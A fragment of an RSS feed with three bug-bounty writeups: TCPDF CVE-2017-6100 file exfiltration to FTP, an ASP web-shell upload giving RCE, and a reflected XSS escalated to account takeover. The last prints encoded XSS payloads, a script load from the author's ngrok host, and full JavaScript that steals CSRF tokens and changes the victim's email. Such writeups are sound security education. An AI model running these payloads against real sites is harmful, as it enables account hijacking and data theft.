            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X_aYlaMbVJ53KZGRk0M-Bg.jpeg" /></figure><p>Hi, this writeup is about a bug that existed in HTML to PDF generation functionality in a program.</p><p>As it is heavily said by community that HTML to PDF genrating softwares are usually vulnerable to SSRF, and that’s what I was trying to do. The program had option to create certificates using HTML and some background template.<br>I tried to inject various payloads, googled things and read nahamsec’s writeup on exploiting similar function again and again, but no use.</p><p>The only HTML tag that gave back a response to my TCP tunnel was &lt;img&gt; tag, moreover the fetch that was occuring from backend didn’t gave any hint about the software being used in backend for the generation of pdf file.</p><p>Hitting and Trying various html tags, I found that on injecting a &lt;link&gt; tag with link to a internal file such as /etc/passwd and some other tags gave a error on the POST request being send . The error didn’t contained much of info but it contained enough for me to keep going. It said <strong>TCPDF</strong> <strong>Error</strong>.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FZd1BUb0qs6nwjeMUBu%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FZd1BUb0qs6nwjeMUBu%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FZd1BUb0qs6nwjeMUBu%2Fgiphy.gif&amp;key=d04bfffea46d4aeda930ec88cc64b87c&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/8aee6d4132d0252a6bd0bf66af21d793/href">https://medium.com/media/8aee6d4132d0252a6bd0bf66af21d793/href</a></iframe><p>Googled it up and found about the TCPDF software, which is written in PHP and used to create PDFs from HTML. Tried to find any already present bug CVE but as I didn’t knew the version so, I can’t narrow down my options and pinpoint at correct position. Tried to read the documentation to find any HTML tag that may be allowed and can be leveraged to attack the backend, but TCPDF is enough secure on that part and didn’t allowed any tag that may allow SSRF.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F3o6ZtaiPZNzrmRQ6YM%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F3o6ZtaiPZNzrmRQ6YM%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F3o6ZtaiPZNzrmRQ6YM%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/2b606f607b010aa5eda597967788e3c2/href">https://medium.com/media/2b606f607b010aa5eda597967788e3c2/href</a></iframe><p>I thought to have a look at what the pdf that comes really contains (as in bug found by nahamsec the data came along with the pdf but only visible in metadata).The website used another service to host PDFs ad used another service to display PDFs and the PDFs that were shown in frontend were connverted to JPG format before being diplayed. Althoguh the displaying service was using the URL for the JPG format but the hosting service response also contained a URL to original PDF. Now, again the download URL for the PDF had another hostname and it didn’t allowed me to download the file. I just used the authentication headers from hosting service hostname to this one and they luckily worked and got the metadata of PDF in the burpsuite.Guess what, I found…</p><p>TCPDF embeds the version number in the metadata, and a single google search revealed that the version was very old(TCPDF 6.0.043) and vulnerable to CVE-2017–6100.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FwXnmM6hHFtz3IulO36%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FwXnmM6hHFtz3IulO36%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExNGU1bHBkemcyYXF0ajFkaWppdXE1aHJrbDV3eDlxemJyaGdxd3VkNCZlcD12MV9naWZzX2dpZklkJmN0PWc%2FwXnmM6hHFtz3IulO36%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="246" frameborder="0" scrolling="no"><a href="https://medium.com/media/3f089656060352b843d86ac2756c88d2/href">https://medium.com/media/3f089656060352b843d86ac2756c88d2/href</a></iframe><p>The exploit was that the TCPDF versions before 6.2 were vulnerable to upload server’s internal files to a remote FTP server. But still there was a long way to go as TCP tunnel wasn’t working correctly with FTP and the exploit presented by Frans Rosen in his <a href="https://labs.detectify.com/2015/03/25/stealing-files-from-web-servers-by-exploiting-a-popular-pdf-generator-2/">blog</a> wasn’t working.</p><p>I got a free ftp server from ftphosting.net, this resolved first problem. Since, I was sure that the bug exists, I kept going, and downloaded the exact version of TCPDF and did all the steps manually as mentioned in the blog. I found that payload wasn’t working because the payload that is injected is serialized and simply editing it up to make required changes was somehow, rendering it useless. Generated a payload on my machine and passed that onto the server to extract passwd file from the target server to my FTP server as POC.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F5QO6ofuFQ4RzqaC0ei%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F5QO6ofuFQ4RzqaC0ei%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F5QO6ofuFQ4RzqaC0ei%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="242" frameborder="0" scrolling="no"><a href="https://medium.com/media/ce4a604bf3ebcffa99b6b6fd4755fa8c/href">https://medium.com/media/ce4a604bf3ebcffa99b6b6fd4755fa8c/href</a></iframe><p>Untill next time. Waana discuss anything, hit me up on <a href="https://twitter.com/0cirius0">Twitter</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49ce7ad4de39" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The story of my First Bug]]></title>
            <link>https://cirius.medium.com/the-story-of-my-first-bug-573c4f628bc0?source=rss-97f9fb488758------2</link>
            <guid isPermaLink="false">https://medium.com/p/573c4f628bc0</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Aditya Verma]]></dc:creator>
            <pubDate>Fri, 26 Feb 2021 18:00:47 GMT</pubDate>
            <atom:updated>2021-02-27T17:26:57.783Z</atom:updated>
            <content:encoded><![CDATA[<p>Just like other newbies, I had been practising on portswigger academy, feeding on writeups day in and day out waiting for my first valid bug and then when it came I wasn’t able to believe what I had found.</p><p>This is the story of my first bug which I had found last october. As usual I was reading writeups and practising, watching other hackers’ videos and hovering from one discord bug bounty community to another when I saw a guy posting on nahamsec’s server that Logitech has launched a new public program with huge scope. I ran towards it.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F3oriNYQX2lC6dfW2Ji%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F3oriNYQX2lC6dfW2Ji%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F3oriNYQX2lC6dfW2Ji%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/e9da0ec85158f7d73a9540bf861eca4e/href">https://medium.com/media/e9da0ec85158f7d73a9540bf861eca4e/href</a></iframe><p>The scope was huge and it consisted both paid and unpaid scope. I started my recon with unpaid scope as they are usually less crowded. Got bunch of subdomains and started looking at each one with my burp open in background. Day1 passed and nothing much apart from some “maybe type scenarios”.</p><p>Day 2: Started again looking at various subdomains and clicking at every link possible on the page. I was also keeping a look at the burp logger tab and saw that a POST request is made to upload some image file(Sorry, I can’t go in more detail as public disclosure request of the bug was declined). I saw that the image was uploaded with the data passed in as base64 encoded value and the extension of the file was passed in another parameter. As usual changed the extension and put PHP, it passed on and the file now had php extension.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FlNMyVfxjfzIJO%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FlNMyVfxjfzIJO%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FlNMyVfxjfzIJO%2F200.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/5e604351b8e32ce7676bb7d053e4e03f/href">https://medium.com/media/5e604351b8e32ce7676bb7d053e4e03f/href</a></iframe><p>Wappalyzer extension showed me that the server was IIS so I got the asp web shell, base64 encoded it and passed it with extension as <em>aspx. </em>Didn’t thought I would get RCE this easy as this was similar to doing labs on HTB.</p><p>Takeaway: I hadn’t thought I would get my first bug as RCE, just keep your head up and keep learning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=573c4f628bc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escalating XSS to Account Takeover]]></title>
            <link>https://cirius.medium.com/escalating-xss-to-account-takeover-ffde08624937?source=rss-97f9fb488758------2</link>
            <guid isPermaLink="false">https://medium.com/p/ffde08624937</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Aditya Verma]]></dc:creator>
            <pubDate>Sun, 22 Nov 2020 07:31:59 GMT</pubDate>
            <atom:updated>2020-11-22T07:41:37.391Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey guys, this writeup is about my first Reflected XSS and how I escalated it to account takeover.</p><p>I read many Bug Hunters implying on the fact that don’t submit a simple XSS, try to escalate it. I also would tell you to escalate as much as you can, if you give them a XSS and tell what a person can do with it, it does not shows the amount of impact as you would be able to show when you prove with how it would be done; this will increase the severity as well as your payout.</p><p>So, I was hunting on a subdomain of a private program say sub.example.com, I had been looking over this subdomain for few days and had understood almost every thing about how the things are working and what a simple person(normal account) can do.Now, I started looking for other files (which are directly not linked)in various directories of the site by directory and files fuzzing using FFUF. I found a file that looked interesting as it was a page to register (let’s name it sub.example.com/fakepath/register) and the main page that opened when someone clicked for registration was sub.example.com/fakepath/registration.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FlYKvaJ8EQTzCU%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FlYKvaJ8EQTzCU%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FlYKvaJ8EQTzCU%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="324" frameborder="0" scrolling="no"><a href="https://medium.com/media/773f72823aedeace32b7e739a618403f/href">https://medium.com/media/773f72823aedeace32b7e739a618403f/href</a></iframe><p>Now this felt like maybe this page was used earlier and then they changed things.So, as you must know that old and forgotten pages have more chances of bugs.</p><p>I ran <a href="https://github.com/s0md3v/Arjun">Arjun</a> to check for any hidden parameters and luckily found a few parameters that were being reflected back on the page.Out of those parameters 2 of them were filling in the input fields of the registration form.I send the request with first parameter and it filled the value supplied thorugh URL into the city input field.Sent the request to Burpsuite Repeater and tried basic XSS inputs.Sadly, it got html encoded ; I tried single URL encoding and double URL encoding, none worked and which made me move on to check other paratmeters.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F9Y5BbDSkSTiY8%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F9Y5BbDSkSTiY8%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F9Y5BbDSkSTiY8%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="304" frameborder="0" scrolling="no"><a href="https://medium.com/media/e13cc3d05fc4c58466f791d2b5f7b1c1/href">https://medium.com/media/e13cc3d05fc4c58466f791d2b5f7b1c1/href</a></iframe><p>After trying almost every parameter recieved from Arjun I came back to the repeater tab of the earlier one, and just randomly gave another try with Triple URL encoding and guess what the quote(“) character passed on.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FRgfGmnVvt8Pfy%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FRgfGmnVvt8Pfy%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FRgfGmnVvt8Pfy%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/cfae17938c063ff9f49af683523e7bba/href">https://medium.com/media/cfae17938c063ff9f49af683523e7bba/href</a></iframe><p>Made a simple payload to check <em>sub.example.com/fakepath/register?i=aditya%252522+onmouseover=alert(1)+x=%252522s. </em>I added x parameter at last to balance the quote that is being added by system. Hovered on city input field and it <strong>popped out</strong>. I checked on other parameter that was being reflected in another input field and it was also vulnerable to similar payload.I also noticed that the registration and register page are almost similar and gave a try on registration and yes both parameters were vulnerable at that page also.</p><p>Reported the Bug as medium severity and came back. Now, got the thought that try to escalate it as other people say.I was at first reluctant but since I had already checked for CSRF on various forms like edit account and much I thought since this can execute script why not fetch the account edit page with javascript which will come with CSRF token(in this case tokens) and then send the data back with email changed.</p><p>This took some time as I am not much of a developer but short time ago I had done a project with nodeJS. With little earlier familarity and lot googling I somehow put the jigsaw pieces aligned and the script was ready(I created this script on Firefox developer tools; Just incase anyone wanna know how to do it, the console panel allows running of javascript on webpage as it would have come along with the page).Hosted the script locally and used ngrok to create a tunnel to localhost.Used the following payload <em>sub.example.com/fakepath/register?i=aditya%252522+/%25253e%25253cscript+src%3d%252522https://my_ngrok_url/script.js%252522%25253e%25253c/script%25253e</em></p><p>Here is the script:</p><pre>let name=[];<br>let value=[];<br>fetch(&#39;<a href="https://sub.example.com/fakepath/accountchange.php?update=1&#39;">https://sub.example.com/fakepath/accountchange.php?update=1&#39;</a>)<br>.then(function(response) {<br>return response.text()<br>}).then(function (html) {</pre><pre>// Convert the HTML string into a document object<br> var parser = new DOMParser();<br> var doc = parser.parseFromString(html, &#39;text/html&#39;);<br>  //var forms=doc.forms[0];<br>  //console.log(doc);<br>  var element = doc.querySelectorAll(&#39;input[type=&quot;hidden&quot;]&#39;);<br>  //var name=[];<br>  //var value=[];<br>  for(var i=0; i&lt;element.length;i++){<br>    name.push(element[i].name);<br>    value.push(element[i].value);<br>  }<br>  console.log(name,value,&quot;\n&quot;);<br>}).catch(function (err) {<br> // There was an error<br> console.warn(&#39;Something went wrong.&#39;, err);<br>});<br>//////////////////////////////////////////////////////////////////////<br>function sendData( data ) {<br>  const XHR = new XMLHttpRequest(),<br>        FD  = new FormData();<br>  console.log(name,value);<br>  // Push our data into our FormData object<br>  for(var i=0;i&lt;7;i++) {<br>    console.log(FD);<br>    FD.append( name[i],value[i] );<br>  }<br>  FD.append(&#39;lastname&#39;,&#39;a&#39;);<br>  FD.append(&#39;name&#39;,&quot;test&quot;);<br>  FD.append(&#39;<a href="/service/mailto:email_p&#39;,&#39;hellrider9+1@wearehackerone.com">email&#39;,&#39;hellrider9+1@wearehackerone.com</a>&#39;);<br>  FD.append(&#39;Sumbit&#39;,&#39;Sumbit&#39;);<br>  // Define what happens on successful data submission<br>  XHR.addEventListener( &#39;load&#39;, function( event ) {<br>    alert( &#39;Yeah! Data sent and response loaded.&#39; );<br>  } );</pre><pre>// Define what happens in case of error<br>  XHR.addEventListener(&#39; error&#39;, function( event ) {<br>    alert( &#39;Oops! Something went wrong.&#39; );<br>  } );</pre><pre>// Set up our request<br>  XHR.open( &#39;POST&#39;, &#39;<a href="https://sub.example.com/fakepath/accountchange.php?update=1&#39;">https://sub.example.com/fakepath/accountchange.php?update=1&#39;</a> );</pre><pre>// Send our FormData object; HTTP headers are set automatically<br>  XHR.send( FD );<br>}</pre><pre>setTimeout(sendData,7000);</pre><p>If anyone wanna understand the code then you can directly contact me through <a href="https://twitter.com/0cirius0">Twitter,</a> my handle is 0cirius0.</p><p>Coming back now this Reflected XSS became a high severity Account Takeover.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F9uoYC7cjcU6w8%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F9uoYC7cjcU6w8%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F9uoYC7cjcU6w8%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/0c6701efb338d9555ea1cbb0ebb3bf39/href">https://medium.com/media/0c6701efb338d9555ea1cbb0ebb3bf39/href</a></iframe><p>Takeaway: <strong>Escalate, Escalate</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffde08624937" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>